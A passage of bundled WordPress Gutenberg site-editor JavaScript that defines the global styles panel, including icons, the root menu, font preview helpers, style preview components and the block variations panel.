    d: "M11.53 4.47a.75.75 0 1 0-1.06 1.06l8 8a.75.75 0 1 0 1.06-1.06l-8-8Zm5 1a.75.75 0 1 0-1.06 1.06l2 2a.75.75 0 1 0 1.06-1.06l-2-2Zm-11.06 10a.75.75 0 0 1 1.06 0l2 2a.75.75 0 1 1-1.06 1.06l-2-2a.75.75 0 0 1 0-1.06Zm.06-5a.75.75 0 0 0-1.06 1.06l8 8a.75.75 0 1 0 1.06-1.06l-8-8Zm-.06-3a.75.75 0 0 1 1.06 0l10 10a.75.75 0 1 1-1.06 1.06l-10-10a.75.75 0 0 1 0-1.06Zm3.06-2a.75.75 0 0 0-1.06 1.06l10 10a.75.75 0 1 0 1.06-1.06l-10-10Z"
  })
});
/* harmony default export */ const library_background = (background);

;// ./node_modules/@wordpress/icons/build-module/library/shadow.js
/**
 * WordPress dependencies
 */


const shadow = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M12 8c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4zm0 6.5c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5zM12.8 3h-1.5v3h1.5V3zm-1.6 18h1.5v-3h-1.5v3zm6.8-9.8v1.5h3v-1.5h-3zm-12 0H3v1.5h3v-1.5zm9.7 5.6 2.1 2.1 1.1-1.1-2.1-2.1-1.1 1.1zM8.3 7.2 6.2 5.1 5.1 6.2l2.1 2.1 1.1-1.1zM5.1 17.8l1.1 1.1 2.1-2.1-1.1-1.1-2.1 2.1zM18.9 6.2l-1.1-1.1-2.1 2.1 1.1 1.1 2.1-2.1z"
  })
});
/* harmony default export */ const library_shadow = (shadow);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/root-menu.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



const {
  useHasDimensionsPanel,
  useHasTypographyPanel,
  useHasColorPanel,
  useGlobalSetting: root_menu_useGlobalSetting,
  useSettingsForBlockElement,
  useHasBackgroundPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function RootMenu() {
  const [rawSettings] = root_menu_useGlobalSetting('');
  const settings = useSettingsForBlockElement(rawSettings);
  /*
   * Use the raw settings to determine if the background panel should be displayed,
   * as the background panel is not dependent on the block element settings.
   */
  const hasBackgroundPanel = useHasBackgroundPanel(rawSettings);
  const hasTypographyPanel = useHasTypographyPanel(settings);
  const hasColorPanel = useHasColorPanel(settings);
  const hasShadowPanel = true; // useHasShadowPanel( settings );
  const hasDimensionsPanel = useHasDimensionsPanel(settings);
  const hasLayoutPanel = hasDimensionsPanel;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
      children: [hasTypographyPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
        icon: library_typography,
        path: "/typography",
        children: (0,external_wp_i18n_namespaceObject.__)('Typography')
      }), hasColorPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
        icon: library_color,
        path: "/colors",
        children: (0,external_wp_i18n_namespaceObject.__)('Colors')
      }), hasBackgroundPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
        icon: library_background,
        path: "/background",
        "aria-label": (0,external_wp_i18n_namespaceObject.__)('Background styles'),
        children: (0,external_wp_i18n_namespaceObject.__)('Background')
      }), hasShadowPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
        icon: library_shadow,
        path: "/shadows",
        children: (0,external_wp_i18n_namespaceObject.__)('Shadows')
      }), hasLayoutPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
        icon: library_layout,
        path: "/layout",
        children: (0,external_wp_i18n_namespaceObject.__)('Layout')
      })]
    })
  });
}
/* harmony default export */ const root_menu = (RootMenu);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/preview-styles.js
function findNearest(input, numbers) {
  // If the numbers array is empty, return null
  if (numbers.length === 0) {
    return null;
  }
  // Sort the array based on the absolute difference with the input
  numbers.sort((a, b) => Math.abs(input - a) - Math.abs(input - b));
  // Return the first element (which will be the nearest) from the sorted array
  return numbers[0];
}
function extractFontWeights(fontFaces) {
  const result = [];
  fontFaces.forEach(face => {
    const weights = String(face.fontWeight).split(' ');
    if (weights.length === 2) {
      const start = parseInt(weights[0]);
      const end = parseInt(weights[1]);
      for (let i = start; i <= end; i += 100) {
        result.push(i);
      }
    } else if (weights.length === 1) {
      result.push(parseInt(weights[0]));
    }
  });
  return result;
}

/*
 * Format the font family to use in the CSS font-family property of a CSS rule.
 *
 * The input can be a string with the font family name or a string with multiple font family names separated by commas.
 * It follows the recommendations from the CSS Fonts Module Level 4.
 * https://www.w3.org/TR/css-fonts-4/#font-family-prop
 *
 * @param {string} input - The font family.
 * @return {string} The formatted font family.
 *
 * Example:
 * formatFontFamily( "Open Sans, Font+Name, sans-serif" ) => '"Open Sans", "Font+Name", sans-serif'
 * formatFontFamily( "'Open Sans', generic(kai), sans-serif" ) => '"Open Sans", sans-serif'
 * formatFontFamily( "DotGothic16, Slabo 27px, serif" ) => '"DotGothic16","Slabo 27px",serif'
 * formatFontFamily( "Mine's, Moe's Typography" ) => `"mine's","Moe's Typography"`
 */
function formatFontFamily(input) {
  // Matches strings that are not exclusively alphabetic characters or hyphens, and do not exactly follow the pattern generic(alphabetic characters or hyphens).
  const regex = /^(?!generic\([ a-zA-Z\-]+\)$)(?!^[a-zA-Z\-]+$).+/;
  const output = input.trim();
  const formatItem = item => {
    item = item.trim();
    if (item.match(regex)) {
      // removes leading and trailing quotes.
      item = item.replace(/^["']|["']$/g, '');
      return `"${item}"`;
    }
    return item;
  };
  if (output.includes(',')) {
    return output.split(',').map(formatItem).filter(item => item !== '').join(', ');
  }
  return formatItem(output);
}

/*
 * Format the font face name to use in the font-family property of a font face.
 *
 * The input can be a string with the font face name or a string with multiple font face names separated by commas.
 * It removes the leading and trailing quotes from the font face name.
 *
 * @param {string} input - The font face name.
 * @return {string} The formatted font face name.
 *
 * Example:
 * formatFontFaceName("Open Sans") => "Open Sans"
 * formatFontFaceName("'Open Sans', sans-serif") => "Open Sans"
 * formatFontFaceName(", 'Open Sans', 'Helvetica Neue', sans-serif") => "Open Sans"
 */
function formatFontFaceName(input) {
  if (!input) {
    return '';
  }
  let output = input.trim();
  if (output.includes(',')) {
    output = output.split(',')
    // finds the first item that is not an empty string.
    .find(item => item.trim() !== '').trim();
  }
  // removes leading and trailing quotes.
  output = output.replace(/^["']|["']$/g, '');

  // Firefox needs the font name to be wrapped in double quotes meanwhile other browsers don't.
  if (window.navigator.userAgent.toLowerCase().includes('firefox')) {
    output = `"${output}"`;
  }
  return output;
}
function getFamilyPreviewStyle(family) {
  const style = {
    fontFamily: formatFontFamily(family.fontFamily)
  };
  if (!Array.isArray(family.fontFace)) {
    style.fontWeight = '400';
    style.fontStyle = 'normal';
    return style;
  }
  if (family.fontFace) {
    //get all the font faces with normal style
    const normalFaces = family.fontFace.filter(face => face?.fontStyle && face.fontStyle.toLowerCase() === 'normal');
    if (normalFaces.length > 0) {
      style.fontStyle = 'normal';
      const normalWeights = extractFontWeights(normalFaces);
      const nearestWeight = findNearest(400, normalWeights);
      style.fontWeight = String(nearestWeight) || '400';
    } else {
      style.fontStyle = family.fontFace.length && family.fontFace[0].fontStyle || 'normal';
      style.fontWeight = family.fontFace.length && String(family.fontFace[0].fontWeight) || '400';
    }
  }
  return style;
}
function getFacePreviewStyle(face) {
  return {
    fontFamily: formatFontFamily(face.fontFamily),
    fontStyle: face.fontStyle || 'normal',
    fontWeight: face.fontWeight || '400'
  };
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/utils.js
/**
 *
 * @param {string} variation The variation name.
 *
 * @return {string} The variation class name.
 */
function getVariationClassName(variation) {
  if (!variation) {
    return '';
  }
  return `is-style-${variation}`;
}

/**
 * Iterates through the presets array and searches for slugs that start with the specified
 * slugPrefix followed by a numerical suffix. It identifies the highest numerical suffix found
 * and returns one greater than the highest found suffix, ensuring that the new index is unique.
 *
 * @param {Array}  presets    The array of preset objects, each potentially containing a slug property.
 * @param {string} slugPrefix The prefix to look for in the preset slugs.
 *
 * @return {number} The next available index for a preset with the specified slug prefix, or 1 if no matching slugs are found.
 */
function getNewIndexFromPresets(presets, slugPrefix) {
  const nameRegex = new RegExp(`^${slugPrefix}([\\d]+)$`);
  const highestPresetValue = presets.reduce((currentHighest, preset) => {
    if (typeof preset?.slug === 'string') {
      const matches = preset?.slug.match(nameRegex);
      if (matches) {
        const id = parseInt(matches[1], 10);
        if (id > currentHighest) {
          return id;
        }
      }
    }
    return currentHighest;
  }, 0);
  return highestPresetValue + 1;
}
function getFontFamilyFromSetting(fontFamilies, setting) {
  if (!Array.isArray(fontFamilies) || !setting) {
    return null;
  }
  const fontFamilyVariable = setting.replace('var(', '').replace(')', '');
  const fontFamilySlug = fontFamilyVariable?.split('--').slice(-1)[0];
  return fontFamilies.find(fontFamily => fontFamily.slug === fontFamilySlug);
}
function getFontFamilies(themeJson) {
  const themeFontFamilies = themeJson?.settings?.typography?.fontFamilies?.theme;
  const customFontFamilies = themeJson?.settings?.typography?.fontFamilies?.custom;
  let fontFamilies = [];
  if (themeFontFamilies && customFontFamilies) {
    fontFamilies = [...themeFontFamilies, ...customFontFamilies];
  } else if (themeFontFamilies) {
    fontFamilies = themeFontFamilies;
  } else if (customFontFamilies) {
    fontFamilies = customFontFamilies;
  }
  const bodyFontFamilySetting = themeJson?.styles?.typography?.fontFamily;
  const bodyFontFamily = getFontFamilyFromSetting(fontFamilies, bodyFontFamilySetting);
  const headingFontFamilySetting = themeJson?.styles?.elements?.heading?.typography?.fontFamily;
  let headingFontFamily;
  if (!headingFontFamilySetting) {
    headingFontFamily = bodyFontFamily;
  } else {
    headingFontFamily = getFontFamilyFromSetting(fontFamilies, themeJson?.styles?.elements?.heading?.typography?.fontFamily);
  }
  return [bodyFontFamily, headingFontFamily];
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-example.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */




const {
  useGlobalStyle: typography_example_useGlobalStyle,
  GlobalStylesContext: typography_example_GlobalStylesContext
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  mergeBaseAndUserConfigs
} = unlock(external_wp_editor_namespaceObject.privateApis);
function PreviewTypography({
  fontSize,
  variation
}) {
  const {
    base
  } = (0,external_wp_element_namespaceObject.useContext)(typography_example_GlobalStylesContext);
  let config = base;
  if (variation) {
    config = mergeBaseAndUserConfigs(base, variation);
  }
  const [textColor] = typography_example_useGlobalStyle('color.text');
  const [bodyFontFamilies, headingFontFamilies] = getFontFamilies(config);
  const bodyPreviewStyle = bodyFontFamilies ? getFamilyPreviewStyle(bodyFontFamilies) : {};
  const headingPreviewStyle = headingFontFamilies ? getFamilyPreviewStyle(headingFontFamilies) : {};
  if (textColor) {
    bodyPreviewStyle.color = textColor;
    headingPreviewStyle.color = textColor;
  }
  if (fontSize) {
    bodyPreviewStyle.fontSize = fontSize;
    headingPreviewStyle.fontSize = fontSize;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__unstableMotion.div, {
    animate: {
      scale: 1,
      opacity: 1
    },
    initial: {
      scale: 0.1,
      opacity: 0
    },
    transition: {
      delay: 0.3,
      type: 'tween'
    },
    style: {
      textAlign: 'center',
      lineHeight: 1
    },
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      style: headingPreviewStyle,
      children: (0,external_wp_i18n_namespaceObject._x)('A', 'Uppercase letter A')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      style: bodyPreviewStyle,
      children: (0,external_wp_i18n_namespaceObject._x)('a', 'Lowercase letter A')
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/highlighted-colors.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


function HighlightedColors({
  normalizedColorSwatchSize,
  ratio
}) {
  const {
    highlightedColors
  } = useStylesPreviewColors();
  const scaledSwatchSize = normalizedColorSwatchSize * ratio;
  return highlightedColors.map(({
    slug,
    color
  }, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
    style: {
      height: scaledSwatchSize,
      width: scaledSwatchSize,
      background: color,
      borderRadius: scaledSwatchSize / 2
    },
    animate: {
      scale: 1,
      opacity: 1
    },
    initial: {
      scale: 0.1,
      opacity: 0
    },
    transition: {
      delay: index === 1 ? 0.2 : 0.1
    }
  }, `${slug}-${index}`));
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-wrapper.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


const {
  useGlobalStyle: preview_wrapper_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const normalizedWidth = 248;
const normalizedHeight = 152;

// Throttle options for useThrottle. Must be defined outside of the component,
// so that the object reference is the same on each render.
const THROTTLE_OPTIONS = {
  leading: true,
  trailing: true
};
function PreviewWrapper({
  children,
  label,
  isFocused,
  withHoverView
}) {
  const [backgroundColor = 'white'] = preview_wrapper_useGlobalStyle('color.background');
  const [gradientValue] = preview_wrapper_useGlobalStyle('color.gradient');
  const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
  const [isHovered, setIsHovered] = (0,external_wp_element_namespaceObject.useState)(false);
  const [containerResizeListener, {
    width
  }] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
  const [throttledWidth, setThrottledWidthState] = (0,external_wp_element_namespaceObject.useState)(width);
  const [ratioState, setRatioState] = (0,external_wp_element_namespaceObject.useState)();
  const setThrottledWidth = (0,external_wp_compose_namespaceObject.useThrottle)(setThrottledWidthState, 250, THROTTLE_OPTIONS);

  // Must use useLayoutEffect to avoid a flash of the container  at the wrong
  // size before the width is set.
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    if (width) {
      setThrottledWidth(width);
    }
  }, [width, setThrottledWidth]);

  // Must use useLayoutEffect to avoid a flash of the container at the wrong
  // size before the width is set.
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    const newRatio = throttledWidth ? throttledWidth / normalizedWidth : 1;
    const ratioDiff = newRatio - (ratioState || 0);

    // Only update the ratio state if the difference is big enough
    // or if the ratio state is not yet set. This is to avoid an
    // endless loop of updates at particular viewport heights when the
    // presence of a scrollbar causes the width to change slightly.
    const isRatioDiffBigEnough = Math.abs(ratioDiff) > 0.1;
    if (isRatioDiffBigEnough || !ratioState) {
      setRatioState(newRatio);
    }
  }, [throttledWidth, ratioState]);

  // Set a fallbackRatio to use before the throttled ratio has been set.
  const fallbackRatio = width ? width / normalizedWidth : 1;
  /*
   * Use the throttled ratio if it has been calculated, otherwise
   * use the fallback ratio. The throttled ratio is used to avoid
   * an endless loop of updates at particular viewport heights.
   * See: https://github.com/WordPress/gutenberg/issues/55112
   */
  const ratio = ratioState ? ratioState : fallbackRatio;
  const isReady = !!width;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      style: {
        position: 'relative'
      },
      children: containerResizeListener
    }), isReady && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-global-styles-preview__wrapper",
      style: {
        height: normalizedHeight * ratio
      },
      onMouseEnter: () => setIsHovered(true),
      onMouseLeave: () => setIsHovered(false),
      tabIndex: -1,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
        style: {
          height: normalizedHeight * ratio,
          width: '100%',
          background: gradientValue !== null && gradientValue !== void 0 ? gradientValue : backgroundColor,
          cursor: withHoverView ? 'pointer' : undefined
        },
        initial: "start",
        animate: (isHovered || isFocused) && !disableMotion && label ? 'hover' : 'start',
        children: [].concat(children) // This makes sure children is always an array.
        .map((child, key) => child({
          ratio,
          key
        }))
      })
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-styles.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */






const {
  useGlobalStyle: preview_styles_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const firstFrameVariants = {
  start: {
    scale: 1,
    opacity: 1
  },
  hover: {
    scale: 0,
    opacity: 0
  }
};
const midFrameVariants = {
  hover: {
    opacity: 1
  },
  start: {
    opacity: 0.5
  }
};
const secondFrameVariants = {
  hover: {
    scale: 1,
    opacity: 1
  },
  start: {
    scale: 0,
    opacity: 0
  }
};
const PreviewStyles = ({
  label,
  isFocused,
  withHoverView,
  variation
}) => {
  const [fontWeight] = preview_styles_useGlobalStyle('typography.fontWeight');
  const [fontFamily = 'serif'] = preview_styles_useGlobalStyle('typography.fontFamily');
  const [headingFontFamily = fontFamily] = preview_styles_useGlobalStyle('elements.h1.typography.fontFamily');
  const [headingFontWeight = fontWeight] = preview_styles_useGlobalStyle('elements.h1.typography.fontWeight');
  const [textColor = 'black'] = preview_styles_useGlobalStyle('color.text');
  const [headingColor = textColor] = preview_styles_useGlobalStyle('elements.h1.color.text');
  const {
    paletteColors
  } = useStylesPreviewColors();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(PreviewWrapper, {
    label: label,
    isFocused: isFocused,
    withHoverView: withHoverView,
    children: [({
      ratio,
      key
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
      variants: firstFrameVariants,
      style: {
        height: '100%',
        overflow: 'hidden'
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        spacing: 10 * ratio,
        justify: "center",
        style: {
          height: '100%',
          overflow: 'hidden'
        },
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewTypography, {
          fontSize: 65 * ratio,
          variation: variation
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
          spacing: 4 * ratio,
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(HighlightedColors, {
            normalizedColorSwatchSize: 32,
            ratio: ratio
          })
        })]
      })
    }, key), ({
      key
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
      variants: withHoverView && midFrameVariants,
      style: {
        height: '100%',
        width: '100%',
        position: 'absolute',
        top: 0,
        overflow: 'hidden',
        filter: 'blur(60px)',
        opacity: 0.1
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
        spacing: 0,
        justify: "flex-start",
        style: {
          height: '100%',
          overflow: 'hidden'
        },
        children: paletteColors.slice(0, 4).map(({
          color
        }, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          style: {
            height: '100%',
            background: color,
            flexGrow: 1
          }
        }, index))
      })
    }, key), ({
      ratio,
      key
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
      variants: secondFrameVariants,
      style: {
        height: '100%',
        width: '100%',
        overflow: 'hidden',
        position: 'absolute',
        top: 0
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: 3 * ratio,
        justify: "center",
        style: {
          height: '100%',
          overflow: 'hidden',
          padding: 10 * ratio,
          boxSizing: 'border-box'
        },
        children: label && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          style: {
            fontSize: 40 * ratio,
            fontFamily: headingFontFamily,
            color: headingColor,
            fontWeight: headingFontWeight,
            lineHeight: '1em',
            textAlign: 'center'
          },
          children: label
        })
      })
    }, key)]
  });
};
/* harmony default export */ const preview_styles = (PreviewStyles);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-root.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */






const {
  useGlobalStyle: screen_root_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenRoot() {
  const [customCSS] = screen_root_useGlobalStyle('css');
  const {
    hasVariations,
    canEditCSS
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      __experimentalGetCurrentGlobalStylesId,
      __experimentalGetCurrentThemeGlobalStylesVariations
    } = select(external_wp_coreData_namespaceObject.store);
    const globalStylesId = __experimentalGetCurrentGlobalStylesId();
    const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
    return {
      hasVariations: !!__experimentalGetCurrentThemeGlobalStylesVariations()?.length,
      canEditCSS: !!globalStyles?._links?.['wp:action-edit-css']
    };
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Card, {
    size: "small",
    isBorderless: true,
    className: "edit-site-global-styles-screen-root",
    isRounded: false,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardBody, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: 4,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Card, {
          className: "edit-site-global-styles-screen-root__active-style-tile",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardMedia, {
            className: "edit-site-global-styles-screen-root__active-style-tile-preview",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_styles, {})
          })
        }), hasVariations && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
            path: "/variations",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
              justify: "space-between",
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
                children: (0,external_wp_i18n_namespaceObject.__)('Browse styles')
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(IconWithCurrentColor, {
                icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
              })]
            })
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(root_menu, {})]
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardDivider, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.CardBody, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
        as: "p",
        paddingTop: 2
        /*
         * 13px matches the text inset of the NavigationButton (12px padding, plus the width of the button's border).
         * This is an ad hoc override for this instance and the Additional CSS option below. Other options for matching the
         * the nav button inset should be looked at before reusing further.
         */,
        paddingX: "13px",
        marginBottom: 4,
        children: (0,external_wp_i18n_namespaceObject.__)('Customize the appearance of specific blocks for the whole site.')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
          path: "/blocks",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
            justify: "space-between",
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
              children: (0,external_wp_i18n_namespaceObject.__)('Blocks')
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(IconWithCurrentColor, {
              icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
            })]
          })
        })
      })]
    }), canEditCSS && !!customCSS && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardDivider, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.CardBody, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
          as: "p",
          paddingTop: 2,
          paddingX: "13px",
          marginBottom: 4,
          children: (0,external_wp_i18n_namespaceObject.__)('Add your own CSS to customize the appearance and layout of your site.')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
            path: "/css",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
              justify: "space-between",
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
                children: (0,external_wp_i18n_namespaceObject.__)('Additional CSS')
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(IconWithCurrentColor, {
                icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
              })]
            })
          })
        })]
      })]
    })]
  });
}
/* harmony default export */ const screen_root = (ScreenRoot);

;// external ["wp","a11y"]
const external_wp_a11y_namespaceObject = window["wp"]["a11y"];
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variations-panel.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



const {
  useGlobalStyle: variations_panel_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);

// Only core block styles (source === block) or block styles with a matching
// theme.json style variation will be configurable via Global Styles.
function getFilteredBlockStyles(blockStyles, variations) {
  return blockStyles?.filter(style => style.source === 'block' || variations.includes(style.name));
}
function useBlockVariations(name) {
  const blockStyles = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlockStyles
    } = select(external_wp_blocks_namespaceObject.store);
    return getBlockStyles(name);
  }, [name]);
  const [variations] = variations_panel_useGlobalStyle('variations', name);
  const variationNames = Object.keys(variations !== null && variations !== void 0 ? variations : {});
  return getFilteredBlockStyles(blockStyles, variationNames);
}
function VariationsPanel({
  name
}) {
  const coreBlockStyles = useBlockVariations(name);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
    isBordered: true,
    isSeparated: true,
    children: coreBlockStyles.map((style, index) => {
      if (style?.isDefault) {
        return null;
      }
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
        path: '/blocks/' + encodeURIComponent(name) + '/variations/' + encodeURIComponent(style.name),
        children: style.label
      }, index);
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/header.js
/**
 * WordPress dependencies
 */




function ScreenHeader({
  title,
  description,
  onBack
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 0,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalView, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
        marginBottom: 0,
        paddingX: 4,
        paddingY: 3,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          spacing: 2,
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.BackButton, {
            icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right : chevron_left,
            size: "small",
            label: (0,external_wp_i18n_namespaceObject.__)('Back'),
            onClick: onBack
